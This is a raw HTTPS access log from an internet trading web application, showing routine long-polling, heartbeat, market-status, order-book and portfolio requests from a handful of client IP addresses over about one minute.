[09/Jan/2026:15:08:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942790018 HTTP/1.1" -
[09/Jan/2026:15:08:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942791661 HTTP/1.1" -
[09/Jan/2026:15:08:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:08:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:08:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942792986 HTTP/1.1" -
[09/Jan/2026:15:08:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942799988 HTTP/1.1" -
[09/Jan/2026:15:08:45 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942795132 HTTP/1.1" -
[09/Jan/2026:15:08:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942796711 HTTP/1.1" -
[09/Jan/2026:15:08:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:08:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:08:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942798180 HTTP/1.1" -
[09/Jan/2026:15:08:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942805022 HTTP/1.1" -
[09/Jan/2026:15:08:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942800300 HTTP/1.1" -
[09/Jan/2026:15:08:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942801756 HTTP/1.1" -
[09/Jan/2026:15:08:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:08:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:08:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:08:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:08:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942803311 HTTP/1.1" -
[09/Jan/2026:15:08:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942810097 HTTP/1.1" -
[09/Jan/2026:15:08:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:08:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:08:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942805364 HTTP/1.1" -
[09/Jan/2026:15:08:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:08:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:08:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942806809 HTTP/1.1" -
[09/Jan/2026:15:08:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:08:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:08:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942808366 HTTP/1.1" -
[09/Jan/2026:15:08:59 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942815182 HTTP/1.1" -
[09/Jan/2026:15:09:00 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942810407 HTTP/1.1" -
[09/Jan/2026:15:09:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942811836 HTTP/1.1" -
[09/Jan/2026:15:09:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942813414 HTTP/1.1" -
[09/Jan/2026:15:09:04 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942820221 HTTP/1.1" -
[09/Jan/2026:15:09:05 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942815520 HTTP/1.1" -
[09/Jan/2026:15:09:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:09:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:09:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942816877 HTTP/1.1" -
[09/Jan/2026:15:09:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942818546 HTTP/1.1" -
[09/Jan/2026:15:09:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942825282 HTTP/1.1" -
[09/Jan/2026:15:09:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942820677 HTTP/1.1" -
[09/Jan/2026:15:09:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942821901 HTTP/1.1" -
[09/Jan/2026:15:09:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:09:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:09:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942830379 HTTP/1.1" -
[09/Jan/2026:15:09:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942823686 HTTP/1.1" -
[09/Jan/2026:15:09:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942825778 HTTP/1.1" -
[09/Jan/2026:15:09:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942826929 HTTP/1.1" -
[09/Jan/2026:15:09:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942843897 HTTP/1.1" -
[09/Jan/2026:15:09:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:09:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:09:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:09:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:09:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:09:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:09:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942835422 HTTP/1.1" -
[09/Jan/2026:15:09:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942828803 HTTP/1.1" -
[09/Jan/2026:15:09:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942830972 HTTP/1.1" -
[09/Jan/2026:15:09:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:09:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:09:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 94
[09/Jan/2026:15:09:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942831970 HTTP/1.1" -
[09/Jan/2026:15:09:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:09:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:09:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:09:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:09:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1686
[09/Jan/2026:15:09:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:09:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:09:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942849012 HTTP/1.1" -
[09/Jan/2026:15:09:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942840523 HTTP/1.1" -
[09/Jan/2026:15:09:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942834025 HTTP/1.1" -
[09/Jan/2026:15:09:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:09:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:09:26 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942836045 HTTP/1.1" -
[09/Jan/2026:15:09:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:09:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:09:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:09:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:09:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 94
[09/Jan/2026:15:09:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942837010 HTTP/1.1" -
[09/Jan/2026:15:09:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:09:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:09:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942854030 HTTP/1.1" -
[09/Jan/2026:15:09:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942845613 HTTP/1.1" -
[09/Jan/2026:15:09:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942839061 HTTP/1.1" -
[09/Jan/2026:15:09:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942841114 HTTP/1.1" -
[09/Jan/2026:15:09:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942842035 HTTP/1.1" -
[09/Jan/2026:15:09:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942859192 HTTP/1.1" -
[09/Jan/2026:15:09:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942850649 HTTP/1.1" -
[09/Jan/2026:15:09:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942844182 HTTP/1.1" -
[09/Jan/2026:15:09:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:09:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:09:36 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942846216 HTTP/1.1" -
[09/Jan/2026:15:09:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942847081 HTTP/1.1" -
[09/Jan/2026:15:09:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942864257 HTTP/1.1" -
[09/Jan/2026:15:09:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942855716 HTTP/1.1" -
[09/Jan/2026:15:09:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942849305 HTTP/1.1" -
